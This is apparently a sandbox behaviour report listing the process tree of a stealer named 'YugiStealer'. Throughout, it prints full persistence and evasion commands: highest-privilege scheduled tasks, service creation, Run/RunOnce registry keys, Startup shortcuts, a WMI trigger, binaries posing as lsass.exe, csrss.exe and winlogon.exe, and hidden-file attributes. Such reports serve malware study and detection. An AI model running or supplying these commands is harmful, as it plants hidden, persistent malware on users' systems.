C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\csrss.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\csrss.exe\" }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\csrss.exe\" start= auto"2⤵
-
C:\Windows\System32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\csrss.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\csrss.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\csrss.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\csrss.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\csrss.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\SvpIMHjs\TraumatizerV3.exe"C:\Windows\Temp\SvpIMHjs\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\SvpIMHjs\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\SvpIMHjs\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\SvpIMHjs\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\SvpIMHjs\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\SvpIMHjs\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\SvpIMHjs\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\SvpIMHjs\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\SvpIMHjs\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16836.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16836.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\System32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\Temp\winlogon.exe"C:\Windows\Temp\winlogon.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\winlogon.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\winlogon.exe\" }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\winlogon.exe\" start= auto"2⤵
-
C:\Windows\System32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\winlogon.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\winlogon.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\winlogon.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\winlogon.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\winlogon.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\u5skCucE\TraumatizerV3.exe"C:\Windows\Temp\u5skCucE\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\u5skCucE\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\u5skCucE\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\u5skCucE\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\u5skCucE\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\u5skCucE\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\u5skCucE\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\u5skCucE\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\u5skCucE\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16823.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_1684.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16834.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\System32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Users\Public\Documents\winlogon.exe"C:\Users\Public\Documents\winlogon.exe"1⤵
- Drops startup file
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onstart /f /rl highest"2⤵
-
